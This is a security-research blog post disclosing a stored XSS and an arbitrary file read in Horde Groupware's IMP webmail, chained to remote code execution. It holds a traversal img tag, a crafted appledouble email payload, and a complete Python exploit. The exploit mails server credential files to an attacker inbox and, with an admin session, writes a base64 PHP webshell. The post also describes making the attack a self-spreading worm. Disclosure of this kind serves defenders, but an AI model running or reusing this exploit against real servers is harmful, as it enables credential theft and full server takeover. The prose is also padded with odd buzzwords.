blog.evan.lat (corporate-friendly)

security research & vulnerability analysis — main site at evan.lat. pgp for sensitive stuff: here.

You've Got Mail(ware): Chaining Stored XSS and Arbitrary File Read to Wormable Pre-Auth RCE in Horde Groupware

Summary: Two separate vulnerabilities in Horde Groupware’s IMP email client — a stored XSS and an arbitrary file read — chain into a half-click exploit capable of stealing database credentials and achieving RCE. The nature of the XSS makes the whole thing wormable: send one email, eventually hit an admin, and you have unauthenticated RCE on the entire server.

https://www.cve.org/CVERecord?id=CVE-2026-65053


There’s a certain category of software that I keep coming back to — software that persists far past its prime not because anyone loves it, but because nobody ever got around to killing it. Horde Groupware is one of those. And honestly? It’s not a forgotten relic — it’s a load-bearing piece of infrastructure that nobody wants to touch. It’s an open-source enterprise email and calendar platform — think Outlook Web Access, circa 2004, with a PHP codebase to match. At some point it was genuinely pivotal. cPanel bundled it. Universities adopted it. Government agencies deployed it and then, crucially, forgot about it.

What I keep coming back to is the deployment landscape: Horde runs on infrastructure that the people responsible for it have largely stopped thinking about. The University of Michigan still uses it. Various Eastern European government ministries quietly rely on it. That’s exactly the kind of profile that makes a vulnerability not just interesting — it makes it transformative in terms of impact.

Here’s where it gets interesting. I found these bugs while delving into something unrelated — a target I’ll write about separately. I’d started grepping Horde’s source as a warmup, not expecting much. It’s worth sitting with that for a second: a casual warmup exercise surfaced a clean two-bug chain that goes from zero interaction to full server compromise, with a worm as a bonus. The throughline here is that Horde’s codebase is doing the heavy lifting of being absolutely enormous — and enormous, unexamined codebases are where this kind of thing compounds quietly.


Bug #1 — The File Read (CVE-2026-58451)

Let me unpack my first pass through the codebase. Standard reconnaissance — searching for preg_replace with /e flags, popen calls, anything obviously dangerous. Most of it was either unreachable or already dead code. Then I hit a cluster of file_get_contents calls and started navigating through them.

Most were fine. One wasn’t. And honestly? It’s not subtle — it’s genuinely groundbreaking in how brazen it is. Deep in IMP’s email composition code, there’s logic to handle embedded images in outgoing messages. Specifically, it’s meant to detect smiley images inserted via CKEditor and attach them inline:

} elseif (strcasecmp($node->tagName, 'IMG') === 0) {
    $js_path = strval(Horde::url($registry->get('jsuri', 'horde'), true));
    if (stripos($src, $js_path . '/ckeditor') === 0) {
        $file = str_replace(
            $js_path,
            $registry->get('jsfs', 'horde'),
            $src
        );

        if (is_readable($file)) {
            $data_part = new Horde_Mime_Part();
            $data_part->setContents(file_get_contents($file));
            $data_part->setName(basename($file));
            // ...
        }
    }
}

The intent is innocent — it’s worth examining closely, because the intent and the reality are doing very different things here. The code takes the image src, checks that it starts with the expected JS path followed by /ckeditor, and then transforms it into a filesystem path via a simple string replacement. The validation: checks only the prefix — everything after /ckeditor is completely free. is_readable() just confirms the file exists and is readable by the web process. Then file_get_contents($file) reads it and stuffs the contents into an outgoing email attachment.

The tell — the single most load-bearing observation — is this: we control $src. We just need it to start with the right prefix, after which we can traverse anywhere on the filesystem. The full exploit is a single HTML tag:

<img src="https://webmail.bootytingle.com/js/ckeditor/../../../../../../etc/hosts">

Embed that in an email composed through Horde IMP, send it to an inbox you control, and download the resulting .eml. Buried in the MIME structure will be whatever file you asked for — the web server process can typically read /var/www/horde/vendor/horde/horde/config/conf.php, which contains database credentials in plaintext. You can also grab /etc/passwd, private keys, application secrets — anything the web server user can seamlessly access.

This alone is a significant vulnerability. But it’s not just significant — it’s the foundation. What it becomes when combined with the second bug is something else entirely.


Bug #2 — The Stored XSS (CVE-2026-65053)

Let me surface the second piece. In lib/Mime/Status.php, there’s a rendering sink that builds HTML table rows from status messages:

$out .= '<tr><td>' . $val . '</td></tr>';

Cross-reference every place that feeds into $val and almost all of them sanitize their input first. Almost. Here’s where it gets interesting: one doesn’t — lib/Mime/Viewer/Appledouble.php, which handles the legacy multipart/appledouble MIME type used by old Macintosh email clients:

$data_name = $this->getConfigParam('imp_contents')->getPartName($data_part);
// ...
sprintf(_("This message contains a Macintosh file (named \"%s\")."), $data_name)

The filename from the email part flows directly into the status message, which flows directly into that unescaped <tr><td> sink. It’s not a complex gadget chain — it’s a holistic failure of the assumption that $val would ever contain user-controlled data. Craft a multipart/appledouble email where the attachment filename is an XSS payload and it executes in the victim’s browser the moment they open the email:

From: anus@x.com
To: victim@target.com
Subject: mac file
MIME-Version: 1.0
Content-Type: multipart/appledouble; boundary="BOUND"

--BOUND
Content-Type: application/applefile
Content-Transfer-Encoding: base64

cmVzb3VyY2UtZm9yay1ieXRlcw==

--BOUND
Content-Type: application/octet-stream; name="<img src=x onerror=alert('hi')>"
Content-Disposition: attachment; filename="<img src=x onerror=alert('hu2')>"
Content-Transfer-Encoding: base64

ZGF0YS1mb3JrLWJ5dGVz

--BOUND--

No clicks required. No suspicious attachments to open. The payload fires on render. It’s worth sitting with that — zero interaction, automatic execution the moment mail is viewed.


Chaining to RCE

Here’s where it gets interesting — and I mean genuinely, paradigm-shift interesting. On its own, the file read is load-bearing but limited — you need to send the email and retrieve the attachment manually. On its own, the XSS executes code in the victim’s browser but doesn’t directly compromise the server. Together, they’re not just two bugs — they’re a comprehensive attack primitive.

The XSS fires in-session, meaning it runs with the victim’s authenticated Horde cookies attached to every request. From there we can leverage the file read: the XSS payload crafts an outgoing email with the malicious <img> tag pointing at a target file, sends it to an attacker-controlled inbox, and the credential leak happens server-side with the victim’s identity. Seamless. Automated. And honestly? Elegant, in the most troubling sense of that word.

But the real prize — the north star of this entire chain — is making this a worm. The XSS payload reads the victim’s contacts, re-sends the malicious appledouble email to everyone in the list, and the chain propagates. Every new victim hits every one of their contacts. Eventually — and this is the pivotal part — the worm reaches someone with administrator access.

Horde administrators have access to /horde/admin/phpshell.php. A single POST request to that endpoint executes arbitrary PHP:

php = f"file_put_contents(&#39;{shell_path}&#39;,base64_decode(&#39;{WEBSHELL}&#39;));"
fetch(`/horde/admin/phpshell.php`, {method: `POST`, credentials: `include`, body: b})

Drop a webshell, establish a reverse shell — at this point the server is yours. And the person who triggered it never had to click anything beyond opening a single email.

The threat model here is worth examining explicitly: it’s not just an attacker with no account — it’s a transformative shift in what “unauthenticated attacker” means in practice. One email. Any user opens it, the worm begins propagating. When it reaches an admin, the server is compromised. The entire chain is unauthenticated from the attacker’s perspective. That compounds. Massively.


Exploit

import argparse
import email
import imaplib

WEBSHELL = "PD9waHAgc3lzdGVtKCRfR0VUWzBdKTs=" 


def payload(a):
    if a.rce:
        php = f"file_put_contents(&#39;{a.shell}&#39;,base64_decode(&#39;{WEBSHELL}&#39;));"
        return f"""var b=new URLSearchParams();b.append(`php`,`{php}`);\
b.append(`token`,HordeCore.conf.TOKEN);\
fetch(`/horde/admin/phpshell.php`,{{method:`POST`,credentials:`include`,body:b}})"""
    base = f"`{a.jsbase}`" if a.jsbase else \
        "([].map.call(document.scripts,s=>s.src).find(s=>/ckeditor|prototype/.test(s))||``).replace(/\\/[^/]*$/,``)"
    trav = "/ckeditor/" + "../" * 12 + a.file.lstrip("/")
    return f"""var b=new URLSearchParams();b.append(`html`,`1`);b.append(`to`,`{a.attacker}`);\
b.append(`subject`,`re`);b.append(`identity`,`0`);\
b.append(`message`,`<img src=`+{base}+`{trav}>`);\
b.append(`token`,HordeCore.conf.TOKEN);\
fetch(`/horde/services/ajax.php/imp/sendMessage`,{{method:`POST`,credentials:`include`,body:b}})"""


def eml(a):
    p = f"<img src=a onerror='{payload(a)}'>"
    return f"""From: no-reply@updates.gov\r\nTo: johnpork@target.net\r\n\
Subject: Your document is ready\r\nMIME-Version: 1.0\r\n\
Content-Type: multipart/appledouble; boundary="B"\r\n\r\n\
--B\r\nContent-Type: application/applefile\r\n\r\nx\r\n\r\n\
--B\r\nContent-Type: application/octet-stream\r\n\
Content-Disposition: attachment; filename="{p}"\r\n\r\ny\r\n--B--\r\n""".encode()


def imap(a):
    m = imaplib.IMAP4(a.imap_host, a.imap_port)
    m.login(a.imap_user, a.imap_pass)
    return m


def deliver(a):
    m = imap(a)
    m.append("INBOX", None, None, eml(a))
    m.logout()
    if a.rce:
        print(f"+ sent, when admin opens hit: {a.target}/horde/sm.php?0=id")
    else:
        print(f"+ file reader sent, {a.file}, {a.attacker} harvest etc")


def harvest(a):
    name = a.file.rstrip("/").split("/")[-1]
    m = imap(a)
    for box in ("Sent", "INBOX"):
        if m.select(box)[0] != "OK":
            continue
        for i in reversed(m.search(None, "ALL")[1][0].split()[-10:]):
            msg = email.message_from_bytes(m.fetch(i, "(RFC822)")[1][0][1])
            for part in msg.walk():
                if part.get_filename() == name:
                    print(part.get_payload(decode=True).decode(errors="replace"))
                    m.logout()
                    return
    m.logout()
    print(f"- {name} not found yet")


p = argparse.ArgumentParser(description="ENVelop")
p.add_argument("target")
p.add_argument("file", nargs="?", default="/var/www/horde/vendor/horde/horde/config/conf.php")
p.add_argument("--rce", action="store_true")
p.add_argument("--harvest", action="store_true")
p.add_argument("--attacker", default="john@pork.com")
p.add_argument("--jsbase", default="")
p.add_argument("--shell", default="/var/www/horde/web/horde/sm.php")
p.add_argument("--imap-host", default="127.0.0.1")
p.add_argument("--imap-port", type=int, default=143)
p.add_argument("--imap-user", default="test")
p.add_argument("--imap-pass", default="test")
a = p.parse_args()
(harvest if a.harvest else deliver)(a)
← back